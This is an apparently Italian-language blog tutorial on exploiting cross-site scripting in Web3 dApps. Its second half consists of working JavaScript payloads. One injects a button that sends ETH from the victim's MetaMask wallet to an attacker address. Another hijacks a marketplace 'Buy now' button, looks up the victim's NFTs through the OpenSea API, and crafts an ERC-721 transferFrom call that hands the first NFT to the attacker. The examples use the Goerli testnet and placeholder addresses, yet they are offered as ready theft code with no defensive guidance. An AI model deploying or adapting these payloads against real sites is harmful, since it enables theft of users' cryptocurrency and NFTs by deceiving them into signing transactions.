Sfruttare Cross Site Scripting (XSS) in Web3

Dec 30 2022
Introduzione Cross-Site Scripting (XSS) è un tipo di attacco informatico in cui un utente malintenzionato inserisce codice dannoso in un sito Web o in un'applicazione Web. Il codice iniettato è solitamente sotto forma di uno script, che viene quindi eseguito dal browser Web della vittima.

introduzione

Cross-Site Scripting (XSS) è un tipo di attacco informatico in cui un utente malintenzionato inserisce codice dannoso in un sito Web o in un'applicazione Web. Il codice iniettato è solitamente sotto forma di uno script, che viene quindi eseguito dal browser Web della vittima. Ciò può consentire all'attaccante di rubare informazioni sensibili, come credenziali di accesso o dati finanziari, o di eseguire altre azioni dannose per conto della vittima.

Introduzione al contratto intelligente

Uno "smart contract" è semplicemente un programma che gira sulla blockchain di Ethereum. È una raccolta di codice (le sue funzioni) e dati (il suo stato) che risiede a un indirizzo specifico sulla blockchain di Ethereum.

I contratti intelligenti sono un tipo di account Ethereum. Ciò significa che hanno un equilibrio e possono essere oggetto di transazioni. Tuttavia non sono controllati da un utente, vengono invece distribuiti sulla rete ed eseguiti come programmato. Gli account utente possono quindi interagire con uno smart contract inviando transazioni che eseguono una funzione definita nello smart contract. I contratti intelligenti possono definire regole, come un normale contratto, e applicarle automaticamente tramite il codice. I contratti intelligenti non possono essere eliminati per impostazione predefinita e le interazioni con essi sono irreversibili.

Cos'è una transazione blockchain?

Le transazioni non sono più limitate ai soli trasferimenti finanziari e, con lo sviluppo delle reti blockchain, è ora possibile utilizzare la blockchain in trasferimenti diversi da quelli finanziari, quindi qualsiasi modifica allo stato della blockchain è ora chiamata transazione, sia che si tratti di un trasferimento finanziario a qualcuno o la tua interazione con uno smart contract.

Applicazioni decentralizzate (dApp) e contratti intelligenti

Molte persone usano in modo intercambiabile i termini contratti intelligenti e applicazioni decentralizzate (dApp), ma questo non è corretto. Uno smart contract è semplicemente un pezzo di codice memorizzato sulla blockchain. Una dApp, tuttavia, collega il frontend al backend e può utilizzare diversi contratti intelligenti per l'esecuzione.

Portafoglio MetaMask in breve

  • MetaMask è un portafoglio di criptovaluta che consente agli utenti di archiviare Ether e altri token ERC-20.
  • Il portafoglio può anche essere utilizzato per interagire con applicazioni decentralizzate.

Autenticazione Web3

La maggior parte delle applicazioni decentralizzate (dApp) non autentica gli utenti tramite nome utente/password, ma utilizza indirizzi crittografici per identificare gli utenti, quindi nel nostro caso, anche se le dApp utilizzano i cookie per tenere traccia delle attività off-chain dell'utente, non sarebbe utile rubare l'utente cookies to, perché le operazioni in blockchain richiedevano la chiave privata dell'utente per firmare ogni transazione (questa chiave privata esiste solo sul computer dell'utente ed è impossibile rubarla con attacchi come XSS).

Cosa possiamo fare?

In questo argomento spiegherò alcune idee che puoi sfruttare con l'attacco XSS per ottenere la massima gravità possibile.

Userò il portafoglio MetaMask durante questa spiegazione, perché è il portafoglio più popolare.

Prima di cominciare

Faremo il nostro test sulla rete testnet di Goerli piuttosto che sulla rete mainnet, quindi non abbiamo a che fare con soldi veri.

Quindi, dobbiamo attivare la rete Goerli sul nostro portafoglio.

Puoi ottenere ETH di prova per Goerli Network da qui .

Connettiti a MetaMask!

Questa prima parte del nostro attacco consiste nel fare in modo che l'utente colleghi il suo portafoglio al sito web della dApp. La cosa migliore qui è quando MetaMask chiede all'utente di approvare la connessione, gli mostrerà l'URL del sito Web dApp, questo renderà l'utente un po 'fiducioso.

Il seguente codice JavaScript chiederà all'utente di connettere il suo portafoglio:

const x = document.createElement("button");
x.id = "connect";
x.innerText = "Connect to MetaMask";
document.body.appendChild(x);
document.getElementById("connect").addEventListener("click", () => {
  ethereum.request({ method: "eth_requestAccounts" });
});

Ora, l'utente è connesso al sito web dApp. Successivamente creeremo un carico utile per effettuare una transazione che invierà denaro per l'attaccante.

Il seguente payload consiste nell'effettuare una transazione che invierà 0,01 ETH dalla vittima all'aggressore:

const y = document.createElement("button");
y.id = "send";
y.innerText = "Send 0.01 ETH to Win!";
document.body.appendChild(y);
document.getElementById("send").addEventListener("click", async () => {
  const transactionParameters = {
    nonce: "0x00",
    gasPrice: "0x244AC6D",
    gas: "0x12A52",
    to: "0x0000000000000000000000000000000000000000",
    from: ethereum.selectedAddress,
    value: "0x2386F26FC10000",
    data: "0x00",
    chainId: "0x5",
  };

  const txHash = await ethereum.request({
    method: "eth_sendTransaction",
    params: [transactionParameters],
  });
});

Come puoi vedere, questo attacco richiede l'interazione dell'utente, ma non dimenticare che nella prima parte MetaMask mostrerà l'URL dell'utente del sito Web vulnerabile e questo lo renderà sicuro se non ha un background tecnico.

Ora, spieghiamo maggiori dettagli sul payload precedente.

per transactionParametersoggetto, abbiamo alcune cose importanti che devi sapere:

1- to: il valore di questo parametro è l'indirizzo del destinatario (potrebbe essere una chiave pubblica del tuo account o un indirizzo contrattuale).

2- value: la quantità di ether (in esadecimale) che vuoi inviare.

3- data: questo parametro è utile quando vogliamo creare interazioni di smart contract (ne parlerò tra poco).

4- chainId: qui usiamo Goerli testnet, e il suo chainId è 0x5 (ogni rete ha un unico chainId).

Puoi trovare il chainId per le altre reti qui .

Un nuovo sfruttamento

La cosa importante prima di determinare l'exploit che lo fornirai, è conoscere la logica di business della dApp, quindi ad esempio se troviamo un XSS memorizzato nel marketplace NFT nella pagina dei dettagli NFT (che mostra i dettagli su uno specifico NFT), in tal caso non utilizzeremo l'exploit precedente, invece creeremo un nuovo scenario.

La maggior parte dei mercati NFT ha una "pagina dei dettagli NFT" come questa:

Quindi, quando fai clic sul pulsante "Acquista ora", ti apparirà un pop-up MetaMask per approvare la transazione (questo è il comportamento normale). Ne abuseremo ora, quindi dobbiamo cambiare questo comportamento.

In un primo momento spiegherò lo scenario di attacco poi scriveremo l'exploit. Quando l'utente fa clic su "Acquista ora", vogliamo effettuare una chiamata API dietro le quinte fino a quando non otteniamo gli NFT che l'utente possiede, quindi trasferiremo la proprietà di NFT a noi quando confermerà la transazione tramite MetaMask.

Utilizzeremo l'API OpenSea per effettuare una richiesta API per ottenere tutti gli NFT degli utenti.

const req = new XMLHttpRequest();
req.open(
  "GET",
  `https://testnets-api.opensea.io/api/v1/assets?format=json&limit=50&offset=0&owner=${ethereum.selectedAddress}`
);
req.send();

req.onreadystatechange = async () => {
  if (req.readyState === 4) {
    const data = JSON.parse(req.response);
    const SC_address = data["assets"][0]["asset_contract"]["address"];
    const tokenId = parseInt(data["assets"][0]["token_id"]).toString(16);
  }

SC_address: Questa variabile conterrà l'indirizzo del contratto intelligente (indirizzo NFT).

tokenId: Questa variabile conterrà il tokenId dell'NFT.

Ora creeremo una nuova transazione che consentirà all'utente di approvare il trasferimento del suo NFT all'attaccante:

const ATTACKER_ADDRESS = "0x0000000000000000000000000000000000000000";
const transactionParameters = {
  nonce: "0x00",
  gasPrice: "0x244AC6D",
  gas: "0x12A52",
  to: SC_address,
  from: ethereum.selectedAddress,
  value: "0x00",
  data: `0x23b872dd000000000000000000000000${ethereum.selectedAddress.substr(2)}000000000000000000000000${ATTACKER_ADDRESS.substr(2)}${"0".repeat(64 - tokenId.length)}${tokenId}`,
  chainId: "0x5",
};
const txHash = await ethereum.request({
  method: "eth_sendTransaction",
  params: [transactionParameters],
});

L' oggetto data in transactionParametersrappresenta le informazioni di cui abbiamo bisogno per chiamare la transferFrom funzione (metodo ERC-721).

Maggiori dettagli sui dati:

23b872dd rappresentano il MethodID della funzione. transferFrom

${ethereum.selectedAddress.substr(2)}rappresentano l'indirizzo dell'utente.

${“0”.repeat(64 — tokenId.length)}: qui calcoliamo la lunghezza del tokenId, quindi lo sottraiamo da 64 fino a riempire il resto dei dati in zeri.

Ora, la nostra transazione è pronta, mettiamo tutto insieme.

document.getElementById("buy").addEventListener("click", async () => {
  const req = new XMLHttpRequest();
  req.open(
    "GET",
    `https://testnets-api.opensea.io/api/v1/assets?format=json&limit=50&offset=0&owner=${ethereum.selectedAddress}`
  );
  req.send();
  req.onreadystatechange = async () => {
    if (req.readyState === 4) {
      const data = JSON.parse(req.response);
      const SC_address = data["assets"][0]["asset_contract"]["address"];
      const tokenId = parseInt(data["assets"][0]["token_id"]).toString(16);
      const ATTACKER_ADDRESS = "0x0000000000000000000000000000000000000000";
      const transactionParameters = {
        nonce: "0x00",
        gasPrice: "0x244AC6D",
        gas: "0x12A52",
        to: SC_address,
        from: ethereum.selectedAddress,
        value: "0x00",
        data: `0x23b872dd000000000000000000000000${ethereum.selectedAddress.substr(2)}000000000000000000000000${ATTACKER_ADDRESS.substr(2)}${"0".repeat(64 - tokenId.length)}${tokenId}`,
        chainId: "0x5",
      };
      const txHash = await ethereum.request({
        method: "eth_sendTransaction",
        params: [transactionParameters],
      });
    }
  };
});

Grazie per la tua lettura, spero che la mia storia sia stata utile.